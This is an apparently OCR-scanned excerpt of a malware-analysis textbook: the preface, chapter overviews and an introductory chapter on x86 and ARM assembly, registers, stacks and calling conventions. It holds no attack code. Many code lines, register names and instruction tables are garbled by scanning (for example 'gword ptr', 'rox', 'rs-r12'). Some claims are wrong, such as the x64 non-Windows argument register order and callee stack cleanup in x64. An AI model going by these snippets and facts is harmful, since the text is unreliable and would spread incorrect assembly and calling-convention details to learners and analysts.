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Preface

The cyber world is changing rapidly nowadays, and many old threats are no
longer relevant. There are multiple reasons for this, but mainly, it is due to the
fact that the environment of systems that we use is constantly evolving, just like
the new methods to achieve malicious goals. In this book, we will place a strong
emphasis on modern malware threats, which are on the increase presently. Over
the last few years, the malware landscape has evolved dramatically, from basic
IRC botnets to Advanced Persistent Threats (APT) and state-sponsored
malware that targets activists, steals blueprints, or even attacks nuclear reactors.
And cybercrime has evolved to be a multi-million dollar business, from
credit/debit card thefts to SWIFT banking hijacking, Point-of-Sale (POS)
malware, and ransomware. With all of this, the world is seeing an increased
demand for highly skilled malware researchers to cope with this level of threats
and to be able to create the next generation of security protection technologies.

Virtually any programming language can be used to write a piece of code that
will later be used for malicious purposes, so at first, the book covers universal
basic knowledge, applicable to any situation. As Windows is still the most
prevalent operating system in the world, it is no surprise that the vast majority of
malicious code is written for it, so the next few chapters will cover this platform
in detail. Then, since attackers tend to use programming languages that are both
popular (so there is a higher probability they already know it) and supported by
the target victim's system, the book will help you become familiar with the most
common examples. Finally, as the targeted systems were expanded relatively
recently with the emergence of Internet of Things (IoT) malware and new
mobile platforms, we will also teach you how to analyze these emerging threats.

The main goal of this book is to give the reader a set of practical recipes that can
quickly be applied for analyzing virtually any type of malware they may
encounter within the modern world, whether the purpose is to confirm its main
functionality or extract relevant Indicators of Compromise (IOCs) for further
investigation. This knowledge can be used in multiple ways, such as estimating
potential losses, properly applying remediation policies, strengthening the
environment, or even for general research or educational purposes.



Who this book is for

If you are an IT security administrator, forensic analyst, or malware researcher
looking at securing systems from malicious software, or investigating malicious
code, then this book is for you. Prior programming experience and some
understanding of malware attacks and investigation would do wonders.



What this book covers

chapter 1, A Crash Course in CISC/RISC and Programming Basics, offers an
insight into all widely used assembly languages, providing foundational
knowledge to peer behind any reverse engineering efforts. While many security
professionals spend most of their time reversing threats for the IA-32 (x86)
platform on Windows as the prevalent source of threats nowadays, other
platforms are increasingly gaining in popularity because of a changing landscape
of the systems we use: from desktop to mobile, from IA-32 to x64. The main
purpose of this part is to show the reader that there is pretty much the same logic
behind any assembly language, and moving from one to another is not a
problem, as long as you get the general idea of how they work.

chapter 2, Basic Static and Dynamic Analysis for x86/x64, dives deeper into
Windows executable files' inner structure, covering the PE header, PE loading,
process and thread creation, and communication between the operating system
and this newly created process. This chapter also covers the basic static and
dynamic analysis of a malicious sample, and teaches you how to debug and alter
its execution path and behavior.

chapter 3, Unpacking, Decryption, and Deobfuscation, sharpens readers' skills to
handle packed, encrypted malware for Windows, and all of the techniques that
malware authors use to protect their samples against amateur reverse

engineers. This chapter covers malware packed with various types of packers, as
well as detection and unpacking using various simple and advanced techniques.
Also, it covers encryption algorithms, from simple XOR algorithms to advanced
ones, such as 3DES and AES encryption, for protecting important information
such as strings and APIs (especially related to C&C communications), as well
as extra modules.

chapter 4, Inspecting Process Injection and API Hooking, covers advanced
techniques implemented in multiple APT, state-sponsored, and widespread
cybercrime attacks, from basic process injection to process hollowing and API
hooking. In addition, it explains the motivations behind using these techniques,
how they work, and how to analyze and work around them.



chapter 5, Bypassing Anti-Reverse Engineering Techniques, offers a guide

on various anti-reverse engineering techniques that malware authors use to
protect their samples, and this thereby, slow down the reverse engineering
process. This chapter reveals a lot of these techniques, from detecting the
debugger and other analysis tools to breakpoint detection, virtual machine
(VM) detection, and even attacking the anti-malware tools and products. It also
covers the VM and sandbox detection techniques that malware authors use to
avoid the spam detection and automatic malware detection techniques
implemented in various enterprises.

chapter 6, Understanding Kernel-Mode Rootkits, digs deeper into the Windows
kernel and its internal structures and mechanisms. We will be covering different
techniques used by malware authors to hide their malware presence from users
and antivirus products. We will be looking at different advanced kernel-mode
hooking techniques, process injection from kernel mode, and how to perform
static and dynamic analysis in kernel mode.

chapter 7, Handling Exploits and Shellcode, gives the reader an idea of how
exploits work in general, discussing the logic behind position-independent code.
In addition, we will provide practical tips and tricks on how to analyze the most
common file types associated with exploits that are actively used in modern
attacks today.

chapter 8, Reversing Bytecode Languages: .NET, Java, and More, introduces the
reader to cross-platform-compiled programs that don't need to be ported for
different systems. Here, we will take a look at how malware authors try to
leverage these advantages for malign purposes. In addition, the reader will be
provided with an arsenal of tools and techniques whose aim is to make the
analysis quick and efficient.

chapter 9, Scripts and Macros: Reversing, Deobfuscation, and Debugging,
discusses scripts and macro-based threats. Web incorporated script languages a
long time ago, and nowadays, other script languages are also becoming
increasingly popular in various projects, from proofs of concepts and prototypes
to production-level systems. This chapter will provide an overview of various
techniques that script malware authors incorporate in order to complicate the
analysis and prolong the infection, and how this can be dealt with.



chapter 10, Dissecting Linux and IoT Malware, is a hands-on guide to

analyzing Linux threats that have become increasingly popular with the growing
popularity of IoT devices commonly powered by Linux. Once it was clear that
these systems are often less immune to infections due to multiple historical
factors, and that it is possible to monetize these weakness, the current IoT
malware trend emerged. This chapter is dedicated to reverse engineering various
pieces of Linux malware, from the now-classic Mirai and its recent
modifications to more sophisticated cases.

chapter 11, Introduction to macOS and iOS Threats, is dedicated to reverse
engineering techniques applicable to Apple platforms. Once considered as
virtually immune to any infections, nowadays, we see more and more attempts to
compromise the security of the users of these platforms. While still relatively
immature, the significance of this trend shouldn't be underestimated, especially
with the rise of APT attacks.

chapter 12, Analyzing Android Malware Samples, teaches the reader to deal with
Android malware, walking through the most common patterns and providing
detailed guidelines on how to analyze them. As our lives become more and more
dynamic, the world is gradually shifting from desktop to mobile systems. As a
result, more and more of our valuable data, from personal information to
financial access codes, is stored on phones and tablets and eventually attracts
malicious actors, thereby creating a demand for reverse engineers experienced
with this platform.



To get the most out of this book

As a very minimum, this book requires strong I'T knowledge. We have done our
best to explain all important terms and notions so the reader won't have to switch
back and forth between the book and the internet, but some topics covered may
be quite advanced with a high level of technical detail. Therefore, any reverse
engineering experience, while not mandatory, will be an advantage.
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Download the color images

We also provide a PDF file that has color images of the screenshots/diagrams

used in this book. You can download it here: http://www.packtpub.com/sites/default/fi
les/downloads/9781789610789_ColorImages.pdf.
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Conventions used

There are a number of text conventions used throughout this book.

codeInText: Indicates code words in text, database table names, folder names,
filenames, file extensions, pathnames, dummy URLSs, user input, and Twitter
handles. Here is an example: "One of these techniques is by using nte1obalriag."

A block of code is set as follows:

mov gword ptr [rsp+8],rcx
mov gword ptr [rsp+16h], rdx
mov gword ptr [rsp+18h],r8
mov gword ptr [rsp+20h],r9
pushfq

sub rsp, 306h

cli

mov rcx,qword ptr gs:[20h]
add rcx,1206h

call nt!RtlCaptureContext

Any command-line input or output is written as follows:

| .shell -ci "uf /c nt!IopLoadDriver" grep -B 1 -i "call.*ptr \[.*h"

Bold: Indicates a new term, an important word, or words that you see onscreen.
For example, words in menus or dialog boxes appear in the text like this. Here is
an example: "It can be restored by selecting the View | Graph Overview option."

0 Warnings or important notes appear like this.

8 Tips and tricks appear like this.
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Feedback from our readers is always welcome.

General feedback: If you have questions about any aspect of this book, mention
the book title in the subject of your message and email us

at customercare@packtpub.com.

Errata: Although we have taken every care to ensure the accuracy of our
content, mistakes do happen. If you have found a mistake in this book, we would
be grateful if you would report this to us. Please Visit www.packt.com/submit-errata,
selecting your book, clicking on the Errata Submission Form link, and entering
the details.

Piracy: If you come across any illegal copies of our works in any form on the
Internet, we would be grateful if you would provide us with the location address
or website name. Please contact us at copyright@packt.com with a link to the
material.

If you are interested in becoming an author: If there is a topic that you have
expertise in and you are interested in either writing or contributing to a book,
please ViSit authors. packtpub.com.


http://www.packt.com/submit-errata
http://authors.packtpub.com/

Reviews

Please leave a review. Once you have read and used this book, why not leave a
review on the site that you purchased it from? Potential readers can then see and
use your unbiased opinion to make purchase decisions, we at Packt can
understand what you think about our products, and our authors can see your
feedback on their book. Thank you!

For more information about Packt, please visit packt.com.
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Section 1: Fundamental Theory

In this section, you will be introduced to the core concepts required to
successfully perform the static analysis of samples for various platforms,
including the basics of architectures and assembly. While you may already have
some prior knowledge of the x86 family, less common architectures, such as
PowerPC or SH-4, are also extensively targeted by malware nowadays, so they
shouldn't be underestimated. The following chapter is included in this section:

® chapter 1, A Crash Course in CISC/RISC and Programming Basics



A Crash Course in CISC/RISC and
Programming Basics

Before diving into the malware world, we need to have a complete
understanding of the core of the machines we are analyzing malware on. For
reverse engineering purposes, it makes sense to focus largely on the architecture
and the operating system it supports. Of course, there are multiple devices and
modules that comprise a system, but it is mainly these two that define a set of
tools and approaches used during the analysis. The physical representation of
any architecture is a processor. A processor is like a heart of any smart device or
computer in that it keeps them alive.

In this chapter, we will cover the basics of the most widely used architectures,
from the well-known x86 and x64 Instruction Set Architectures (ISAs) to
solutions powering multiple mobile and Internet of Things (I0T) devices that
are often misused by malware families, such as Mirai and many others. It will set
the tone for your journey into malware analysis, as static analysis is impossible
without understanding assembly instructions. Although modern decompilers
indeed become better and better, they don't exist for all platforms that are
targeted by malware. Additionally, they will probably never be able to handle
obfuscated code. Don't be daunted by the complexity of assembly; it just takes
time to get used to it, and after a while, it becomes possible to read it like any
other programming language. While this chapter provides a starting point, it
always makes sense to deepen your knowledge by practicing and exploring
further.

This chapter is divided into the following sections to facilitate the learning
process:

Basic concepts

Assembly languages

Becoming familiar with x86 (IA-32 and x64)
Exploring ARM assembly

Basics of MIPS

Covering the SuperH assembly



e Working with SPARC
¢ Moving from assembly to high-level programming languages



Basic concepts

Most people don't really understand that the processor is pretty much a smart
calculator. If you look at most of its instructions (whatever the assembly
language is), you will find many of them dealing with numbers and doing some
calculations. However, there are multiple features that actually differentiate
processors from usual calculators:

e Processors have access to a bigger memory space compared to traditional
calculators. This memory space gives them the ability to store billions of
values, which allows them to perform more complex operations.
Additionally, they have multiple fast and small memory storage units
embedded inside the processors' chip called registers.

e Processors support many instruction types other than arithmetic
instructions, such as changing the execution flow based on certain
conditions.

e Processors are able to communicate with other devices (such as speakers,
mics, hard disks, graphics card, and so on).

Armed with such features in conjunction with great flexibility, processors
became the go-to smart machines for technologies such as Al, machine learning,
and others. In the following sections, we will explore these features and later
will dive deeper into different assembly languages and how these features are
manifested in these languages' instruction set.



Registers

As most of the processors have access to a huge memory space storing billions
of values, it takes longer for the processor to access the data (and it gets
complex, as we will see later). So, to speed up the processor operations, they
contain small and fast internal memory storage units called registers.

Registers are built into the processor chip and are able to store the immediate
values that are needed while performing calculations and data transfer from one
place to another.

Registers may have different names, sizes, and functions, depending on the
architecture. Here are some of the types that are widely used:

¢ General data registers: General data registers are registers that are used to
save values or results from different arithmetic and logical operations.

¢ Stack and frame pointers: These are registers that are used to point to the
beginning and the end of the stack.

¢ Instruction pointer/program counter: The instruction pointer is used to
point to the start of the next instruction to be executed by the processor.



Memory

Memory plays an important role in the development of all smart devices that we
see nowadays. The ability to manage lots of values, text, images, and videos on a
fast and volatile memory allows processors to process more information and
display graphical interfaces in 3D and virtual reality.



Virtual memory

In modern operating systems, whether they are 32-bit, 64-bit, or whatever the
size of the physical memory, the operating system allocates a fixed size,
isolated virtual memory (in which its pages are mapped to the physical memory
pages) for each application to secure the operating system's and the other
applications' data.

Each application only has the ability to access their own virtual memory. They
have the ability to read, write, or execute instructions in their virtual memory
pages. Each virtual memory page has a set of permissions assigned to it that
represent the type of operations that the application is allowed to execute on this
page. These permissions are read, write, and execute. Additionally, multiple
permissions can be assigned to each memory page.

For an application to access any stored value inside a memory address, it needs a
virtual address, which is basically the address of where this value is stored in
memory.

Despite knowing the virtual address, access can be hindered by another issue,
which is storing this virtual address. The size of the virtual address in 32-bit
systems is 4 bytes and in 64-bit systems is it 8 bytes. This means we need to
allocate another space in memory to store that virtual address. For this new space
in memory, we will need to store its own memory address in another memory
space that will lead us to an infinite loop, as shown in the following figure:



0x00000000 0x00000000 0x00000000

0x00020000
Y = 0x00010000 |
0x00010000 0x00010000
X=5 X=5
OxFFFFFFFF OxFFFFFFFF OxFFFFFFFF

Figure 1: Virtual memory addresses

To solve this condition, multiple solutions are used nowadays, and in the next
section, we will cover one of them, which is the stack.



Stack

Stack literally means a pile of objects. In computer science, a stack is basically a
data structure that helps to save different values in memory with the same size in
a pile structure using the principle of Last in First Out (LIFO).

A stack is pointed to by two registers (the frame pointer points to its top and the
stack pointer points to its bottom).

A stack is common between all known assembly languages and it has several
functions. For example, it may help in solving mathematical equations, such as X
=5%6 + 6*%2 + 7(4 + 6), by storing each calculated value and pushing each one
in the stack, and later pop ping (or pulling) them back to calculate the sum of all
of them and saving them in variable x.

It is also commonly used to pass arguments (especially if there are a lot of them)
and store local variables.

A stack is also used to save the return addresses just before calling a function or
a subroutine. So, after this routine finishes, it pops the return address back from
the top of the stack and returns it to where it was called from to continue the
execution.

While the stack pointer is generally pointing to the current top of the stack, the
frame pointer is keeping the address of the top of the stack before the subroutine
call, so it can be easily restored after it is returned.



Branches, loops, and conditions

The second feature that processors have is the ability to change the execution
flow of a program based on a given condition. In every assembly language, there
are multiple comparison instructions and flow control instructions. The flow
control instructions can be divided into the following categories:

¢ Unconditional jump: This is a type of instruction that forcefully changes
the flow of the execution to another address (without any given condition).

¢ Conditional jump: This is like a logical gate that switches to another
branch based on the given condition (such as equal to zero, greater than, or
lower than), as shown in the following figure:

_code_start:

mov r0, #2

mov rl, #2

add rO, rO, rl

cmp r0, #4

beq _true block
add r1, #5 ;ntgi/e—b'OCKr -
b func2 bk Ir i

Figure 2: An example of a conditional jump

e Call: This changes the execution to another function and saves the return
address in the stack.



Exceptions, interrupts, and
communicating with other devices

In assembly language, communication with different hardware devices is done
through what's called interrupts.

An interrupt is a signal to the processor sent by the hardware or software
indicating that there's something happening or there is a message to be delivered.
The processor suspends its current running process, saving its state, and executes
a function called an interrupt handler to deal with this interrupt. Interrupts have
their own notation and are widely used to communicate with hardware for
sending requests and dealing with their responses.

There are two types of interrupts. Hardware interrupts are generally used to
handle external events when communicating with hardware. Software interrupts
are caused by software, usually by calling a particular instruction. The difference
between an interrupt and an exception is that exceptions take place within the
processor rather than externally. An example of an operation generating an
exception can be a division by zero.



Assembly languages

There are two big groups of architectures defining assembly languages that we
will cover in this section, and they are Complex Instruction Set Computer
(CISC) and Reduced Instruction Set Computer (RISC).



CISC versus RISC

Without going into too many details, the main difference between CISC
assemblies, such as Intel IA-32 and x64, and RISC assembly languages
associated with architectures such as ARM, is the complexity of their
instructions.

CISC assembly languages have more complex instructions. They focus on
completing tasks using as few lines of assembly instructions as possible. To do
that, CISC assembly languages include instructions that can perform multiple
operations, such as mu1 in Intel assembly, which performs data access,
multiplication, and data store operations.

In the RISC assembly language, assembly instructions are simple and generally
perform only one operation each. This may lead to more lines of code to
complete a specific task. However, it may also be more efficient, as this omits
the execution of any unnecessary operations.



Types of instructions

In the following sections, we will cover the main structure of each assembly
language, the three basic types of assembly instructions, and how they are
translated into each of these languages:

e Data manipulation:
e Arithmetic manipulation
e Logic and bit manipulation
e Shifts and rotations
e Data transfers:
e Transfers between memory and registers
e Transfers between registers
e Execution of flow control:
e Jumps or calls
e Branches based on a condition



Becoming familiar with x86 (IA-32
and x64)

Intel x86 (IA-32 and x64) is the most common architecture used in PCs and is
powering many servers, so there is no surprise that most of the malware samples
we have at the moment are supporting it. x86 is a CISC architecture, and it
includes multiple complex instructions in addition to simple ones. In this section,
we will introduce the most common of them, along with how compilers take
advantage of them in their calling conventions.



Registers

Here is a table showing the relationship between registers in IA-32 and x64
architectures:

8 bytes 4 bytes 2 bytes 1 byte
rax eax ax al, ah

rcx ecx CX cl, ch
rdx edx dx dl, dh
rox ebx box bl , bh
rsp esp sp spl*
rop ebp bp bpl*
rsi esi Si sil*
rdi edi di dil*
r8-r15 r8d-r1 5d* r8w-r1 5w* r8b-ri 5b*

Figure 3: Registers used in the x86 architecture

0 rg to r1s are available only in x64 and not in IA-32, and sp1, bp1, si1, and di1 can be accessed
only in x64.

The first four registers (rax, rbx, rcx, and rdx) General-Purpose Registers
(GPRs), but some of them have the following special use for certain
instructions:

® rax/eax: This is used to store information and it's a special register for some
calculations

e rcx/ecx: This is used as a counter register in loop instructions

e rdx/edx: This is used in division to return the modulus



In x64, the registers from rs to r1s are also GPRs that were added to the available
GPRs.

The rsp/esp register is used as a stack pointer that points to the top of the stack. It
moves when there's a value getting pushed up, or down, when there's a value
getting pulled out from the stack. The rbp/ebp register is used as a frame pointer,
which means it points to the bottom of the stack and it's helpful for the function's
local variable, as we will see later in this section. In addition to this, rbp/ebp is
sometimes used as a GPR for storing any kind of data.

rsi/esi and rdi/edi are used mostly to define the addresses when copying a group
of bytes in memory. The rsi/esi register always plays the role of the source and
the rdi/edi register plays the role of the destination. Both registers are non-
volatile and are also GPRs .



Special registers

There are two special registers in Intel assembly and they are as follows:

e rip/eip: This is an instruction pointer that points to the next instruction to be
executed. It cannot be accessed directly but there are special instructions to
access it.

® rflags/eflags/flags: This register contains the current state of the processor.
Its flags are affected by the arithmetic and logical instructions (they also
compare instructions such as cmp and test), and it's used with conditional
jumps and other instructions as well. Here are the most common flags:

e Carry flag (CF): This is when an arithmetic operation goes out of
bounds; look at the following operation:

mov al, FFh ;al = OxFF & CF = 0
add al, 1 ;al = 0 & CF =1

e Zero flag (ZF): This flag is set when the arithmetic or a logical
operation's result is zero. This could also be set with compare
instructions.

e Sign flag (SF): This flag indicates that the result of the operation is
negative.

e Overflow flag (OF): This flag indicates that an overflow occurred in
an operation, leading to a change of the sign (only on signed numbers),
as follows:

0]
1

mov cl, 7Fh ;cl = OX7F (127) & OF
inc cl ;cl = 0x80 (-128) & OF

There are other registers as well, such as MMX and FPU registers (and
instructions to work them) but we won't cover them in this chapter.



The instruction structure

For Intel x86 assembly (IA-32 or x64), the common structure of its instructions
is opcode, dest, and srec.

Let's get deeper into them.



opcode

opcode is the name of the instruction. Some instructions have only opcode Without
any dest or src such as the following:

| Nop, pushad, popad, movsb
0 pushad and popad are not available in x64.



dest

dest represents the destination or where the result of the calculations will be
saved, as well as becoming part of the calculations themselves like this:

add eax, ecx ;eax = (eax + ecx)
sub rdx, rcx ;rdx = (rdx - rcx)

Also, it could play a role of a source and a destination with some opcode
instructions that take only dest without a source:

inc eax
dec ecx

Or, it could be only the source, such as these instructions that save the value to
the stack like this:

push rdx
pop rcx

dest could look like the following:

e rec: A register such as eax and edx.
e r/n: A place in memory such as the following:

BYTE PTR [EAX + 00401000h]

DWORD PTR [00401000h]
WORD PTR [EDX*4 + EAX+ 30]

e A value in the stack (used to represent local variables), such as the
following:

DWORD PTR [ESP+4]
DWORD PTR [EBP-8]



SI'C

src represents the source or another value in the calculations, but it doesn't save
the results afterward. It may look like this:

e rec: For instance, add rcx and rs
e /m: For instance, add ecx and dword ptr [00401000h]
e inm: An immediate value such as mov eax and ee1ee000h



The instruction set

Here, we will cover the different types of instructions that we listed in the
previous section.



Data manipulation instructions

Some of the arithmetic instructions are as follows:

Instruction | Structure | Description
add/sub add/sub dest = dest + src/dest = dest - src

dest, src
inc/dec inc/dec dest = dest + 1/dest = dest - 1

dest
mul mul src (UHSigHEd IHUltIPIY) rdx:rax = rax* src

_ _ rdx:rax/src (returns the result in rax and the
div div src . .
remainder/modulus in rdx)

Additionally, for logic and bits manipulation, they are like this:

Instruction | Structure Description
or/and/xor or/and/xor dest, dest = dest & src/dest = dest | src/dest = dest
Or src A src

not not dest dest = idest (the bits are flipped)




And, lastly, for shifts and rotations they are like this:

(same as sh1 and
shr)

Instruction | Structure Description
sh1/shr dest, imm, OI
CX dest = dest << src/dest = dest >> src

1/shr (the dest register's | (shifts the dest register's bits to the left or
maximum the right, which is the same effect as
number of bits multiplying or dividing by two src times)
such as 32 or 64)
sh1/shr dest, imm, OT
CX

rol/ror Rotates the dest register's bits left or right




Data transfer instructions

There's a mov instruction, which copies a value from src to dest. This instruction
has multiple forms, as we can see in this table:

Instruction | Structure Description
mov mov dest OI src dest = src
src is smaller than dest (src is 16-bits and
movsx/movzx dest 1S 32-bitS)
movsx/movzx o e . .
dest OF src movzx: Sets the remaining bits in dest to zero

movsx: Preserves the sign of the src value

Other instructions related to stack are like this:

Instruction | Structure | Description

Pushes the value on to the top the stack (esp = esp
push/pop zzz:/pOp -4)/

pulls the value out of the stack (esp = esp + 4)

Saves all registers to the stack/pulls out all
pushad/popad pushad/popad . .

registers from the stack (in x86 only)




For string manipulation, they are like this:

Instruction

Structure

Description

lodsb/lodsw/lodsd/lodsq

lodsb/lodsw/lodsd/lodsq

Loads a byte, 2 bytes, 4 bytes,
or 8 bytes from rsi/esi into

al/ax/eax/rax

stosb/stosw/stosd/stosq

stosb/stosw/stosd/stosq

Stores a byte, 2 bytes, 4 bytes,
or 8 bytes in rdi/edi from

al/ax/eax/rax

movsb/movsw/movsd/movsq

movsb/movsw/movsd/movsq

Copy a byte, 2 bytes, 4 bytes,
or 8 bytes from rsi/esi tO rdi/edi




Flow control instructions

Some of the unconditional redirections are as follows:

Instruction Structure Description
Jmp <relative The relative address is calculated from the
jmp jmp DWORD/QWORD start of the next instruction after jmp to the
ptr [Absolute . .
Address] destination
call <relative
address> . .
call Same as jmp but it saves the return address in
call DWORD/QWORD ptr the stack
[Absolute
Address]
Pulls the return address from the stack, cleans
ret/retn ret imm the stack from the pushed arguments, and
jumps to that address

Some of the conditional redirections are as follows:

Instruction | Structure Description
jz/inz - : .
jnz/jz/ib/ja <relative Similar to jmp, but jumps based on a condition
address>
Loop Similar to jmp, but it decrements rcx/ecx and
loop <rdedlativ>e jumps if it didn't reach zero (uses rcx/ecx as a
adaress
loop counter)
rep opcode . . . . .
dest OF src ~ repisa p.reflx that is used with string
rep (if instructions; it decrements rcx/ecx, and repeats
needed) the instruction until rcx/ecx reaches zero




Arguments, local variables, and
calling conventions (in x86 and x64)

There are multiple ways in which the compilers represent functions, calls, local
variables, and more. We will not be covering all of them, but we will be covering
some of them. We will cover standard call (stdcall), which is only used in x86,
and then we will be covering the differences between the other calls and stdcall.



stdcall

The stack, rsp/esp, and rbp/ebp registers do most of the work when it comes to
arguments and local variables. The ca11 instruction saves the return address at the
top of the stack before transferring the execution to the new function, and the ret
instruction at the end of the function returns the execution back to the caller
function using the return address saved in the stack.



Arguments

For stdcall, the arguments are also pushed in the stack from the last argument to
the first like this:
Push Arg02

Push Argo1i
Call Funcoel

In the ca11 function, the arguments can be accessed by rsp/esp but keeping in mind
how many values have been pushed to the top of the stack through time with
something like this:

mov eax, [esp + 4] ;Argol

push eax
mov ecx, [esp + 8] ; Arg@1 keeping in mind the previous push

In this case, the value located at the address specified by the value inside the
square brackets is transferred. Fortunately, modern static analysis tools, such as
IDA Pro, can detect which argument is being accessed in each instruction, as in
this case.

The most common way to access arguments, as well as local variables, is by
using rbp/ebp. First, the called function needs to save the current rsp/esp in rbp/ebp
register and then access them this way:

push ebp
mov ebp, esp

mov ecx, [ebp + 8] ;Argol
push eax
mov ecx, [ebp + 8] ;still Arg01 (no changes)

And, at the end of the called function, it returns back the original value of rbp/ebp
and the rsp/esp like this:

mov esp, ebp

pop ebp
ret

As it's a common function epilogue, Intel created a special instruction for it,
which is 1eave, so it became this:



leave
ret



L.ocal variables

For local variables, the called function allocates space for them by shifting the
rsp/esp instruction up. To allocate space for two variables of four bytes each, the
code will be this:

push ebp

mov ebp, esp
sub esp, 8

Additionally, the end of the function will be this:

mov ebp,esp

pop ebp

ret

BEFORE PUSH EBP MOV EBP ESP
EBP 4— ESP EBP 4— ESP=EBP

Stack ltem <«—ESP Stack ltem Stack ltem

Stack ltem «— EBP Stack ltem [«— EBP Stack ltem

SUB ESP 0x0C MOV ESP, EBP POP EBP

Variable EBP-C «— ESP

Variable EBP-8

Variable EBP-4

EBP 4— EBP

Stack ltem

Stack Item

Variable EBP-C

Variable EBP-8

Variable EBP-4

EBP 4— ESP=EBP

Stack Item

Stack Item

Variable EBP-C

Variable EBP-8

Variable EBP-4

EBP
Stack ltem &— ESP
Stack [tem «— EBP

Figure 4: An example of a stack change at the beginning and at the end of the function



Additionally, if there are arguments, the ret instruction cleans the stack given the
number of bytes to pull out from the top of the stack like this:

|ret 8 ;2 Arguments, 4 bytes each



cdecl

cdec1 (which stands for ¢ declaration) is another calling convention that was used
by many C compilers in x86. It's very similar to stdcall, with the only difference
being that the caller cleans the stack after the cai1ee function (the called function)

returns like this:

Caller:
push Arg02
push Argo1l
call Callee
add esp, 8 ;cleans the stack



fastcall

The _ rastcal1 calling convention is also widely used by different compilers,
including Microsoft C++ compiler and GCC. This calling convention passes the
first two arguments in ecx and edx, and pushes the remaining arguments in the
stack. It's only used in x86 as there's only one calling convention for x64.



thiscall

For object-oriented programming and for the non-static member functions (such
as the classes' functions), the C compiler needs to pass the address of the object
whose attribute will be accessed or manipulated using this function as an
argument.

In GCC compiler, this call is almost identical to the cdec1 calling convention and
it passes the object address as a first argument. But in the Microsoft C++
compiler, it's similar to stdcall and it passes the object address in ecx. It's
common to see such patterns in some object-oriented malware families.



The x64 calling convention

In x64, the calling convention is more dependent on the registers. For Windows,
the caller function passes the first four arguments to the registers in this order:
rcx, rdx, rs, ro, and the rest are pushed back to the stack. While for the other
operating systems, the first six arguments are usually passed to the registers in
this order: rsi, rdi, rcx, rdx, rs, re, and the remaining to the stack.

In both cases, the called function cleans the stack after using ret imm, and this is
the only calling convention for these operating systems in x64.



Exploring ARM assembly

Most readers are probably more familiar with the x86 architecture, which
implements the CISC design, and may wonder—why do we actually need
something else? The main advantage of RISC architectures is that processors
that implement them generally require fewer transistors, which eventually makes
them more energy and heat efficient and reduces the associated manufacturing
costs, making them a better choice for portable devices. We start our
introduction to RISC architectures with ARM for a good reason—at the moment,
this is the most widely used architecture in the world.

The explanation is simple—processors implementing it can be found on multiple
mobile devices and appliances such as phones, video game consoles, or digital
cameras, heavily outnumbering PCs. For this reason, multiple [oT malware
families and mobile malware targeting Android and iOS platforms have
payloads for ARM architecture; an example can be seen in the following
screenshot:



B B3 | w||@ || dd P X|[ > OC
S hiTsS i EE

Regular function | Instruction Data  Unexplored External symbil

:I ID.ﬂ.'n-'ie...E | @Hex'ﬁie... | A Steuct. ] | + [En I3 | Imp... x|

EXPORT start
start

var_4C= -@xdl
var_24= -@xi24
var_1C= -8x1C
var_14= -@x14
var (= -8xC
var_g= -8
var_4= -4

arg @= @

y FUNCTION CHUNK AT @881cAE4 SI7E eeBBBA/E BYTES
3 FUNCTION CHUNK AT @88leEBC 5I7E eeBBB218 BYTES

MOV R11, #B
MOV LR, #B
LDR R1, [SP+arg 8],#4
MOV R2, SP
| STR R2, [SP,#-d4+arg 8]!
STR R@, [SP,#var 4]!
LDR R12, =.term_proc
STR R12, [SP,#4+var 8]!
] LDR R@, =sub F648
LDR R3, =.init_proc
B loc_16EBC

: End of function start

100, 00% |I:'?E|,EE:I |I:595,4EIE:I |EIEIEIEIEIlE|EI Qoo002130: =start |(Synchronized with H

Figure 5: Disassembled IoT malware targeting ARM-based devices



Thus, in order to be able to analyze them, it is necessary to understand how
ARM works first.

ARM originally stood for Acorn RISC Machine, and later for advanced RISC
Machine. Acorn was a British company considered by many as the British
Apple, producing some of the most powerful PCs of that time. It was later split
into several independent entities with Arm Holdings (currently owned by
SoftBank Group) supporting and extending the current standard.

There are multiple operating systems supporting it, including Windows,
Android, iOS, various Unix/Linux distributions, and many other lesser known
embedded OSes. The support for a 64-bit address space was added in 2011 with
the release of the ARMv8 standard.

Overall, the following ARM architecture profiles are available:

e Application profiles (suffix A, for example, the Cortex-A family): This
implements a traditional ARM architecture and supports a virtual memory
system architecture based on a Memory Management Unit (MMU).
These profiles support both ARM and Thumb instruction sets (as discussed
later).

¢ Real-time profiles (suffix R, for example, the Cortex-R family): This
implements a traditional ARM architecture and supports a protected
memory system architecture based on a Memory Protection Unit (MPU).

e Microcontroller profiles (suffix M, for example, the Cortex-M family):
This implements a programmers' model and is designed for integration into
Field Programmable Gate Arrays (FPGAs).

Each family has its own corresponding set of associated architectures (for
example, the Cortex-A 32-bit family incorporates ARMv7-A and ARMv8-A
architectures), which in turn incorporate several cores (for example, ARMv7-R
architecture incorporates Cortex-R4, Cortex-R5, and so on).



Basics

Here, we will cover both the original 32-bit and the newer 64-bit architectures.
There were multiple versions released over time, starting from the ARMv1. In
this book, we will focus on the recent versions of them.

ARM is a load-store architecture; it divides all instructions into the following
two categories:

e Memory access: Moves data between memory and registers
e Arithmetic Logic Unit (ALU) operations: Does computations involving
registers

ARM supports arithmetic operations for adding, subtracting, and multiplying,
and some new versions, starting from ARMvV?7, also support division operations.
It supports big-endian order, and uses the little-endian format by default.

There are 16 registers visible at any time on the 32-bit ARM: re-r1s. This number
is convenient as it takes only 4 bits to define which register is going to be used.
Out of them, 13 (sometimes referred to as 14 including r14 or ris, also r13) are
general-purpose registers: r13 and ris each have a special function while r14 can
take it occasionally. Let's have a look at them in greater detail:

e ro-r7: Low registers are the same in all CPU modes.

e rs-r12: High registers are the same in all CPU modes except the Fast
Interrupt Request (FIQ) mode not accessible by 16-bit instructions.

¢ r13 (also known as sp): Stack pointer—points to the top of the stack, and
each CPU mode has its own version of it. It is discouraged to use it as a
GPR.

e ri4 (also known as 1r): Link register—in user mode it contains the return
address for the current function, mainly when BL (Branch with Link) or
BLX (Branch with Link and eXchange) instructions are executed. It can
also be used as a GPR if the return address is stored on the stack. Each CPU
mode has its own version of it.

¢ ris (also known as rc): Program counter, points to the currently executed
command. It's not a GPR.



Altogether, there are 30 general-purpose 32-bit registers on most of the ARM
architectures overall, including the same name instances in different CPU
modes.

Apart from these, there are several other important registers, as follows:

e Current Program Status Register (CPSR): This contains bits describing a
current processor mode, a processor state, and some other values.

e Saved Program Status Registers (SPSR): This stores the value of CPSR
when the exception is taken, so it can be restored later. Each CPU mode has
its own version of it, except the user and system modes, as they are not
exception-handling modes.

¢ Application Program Status Register (APSR): This stores copies of the
ALU status flags, also known as condition code flags, and on later
architectures, it also holds the Q (saturation) and the greater than or
equal to (GE) flags.

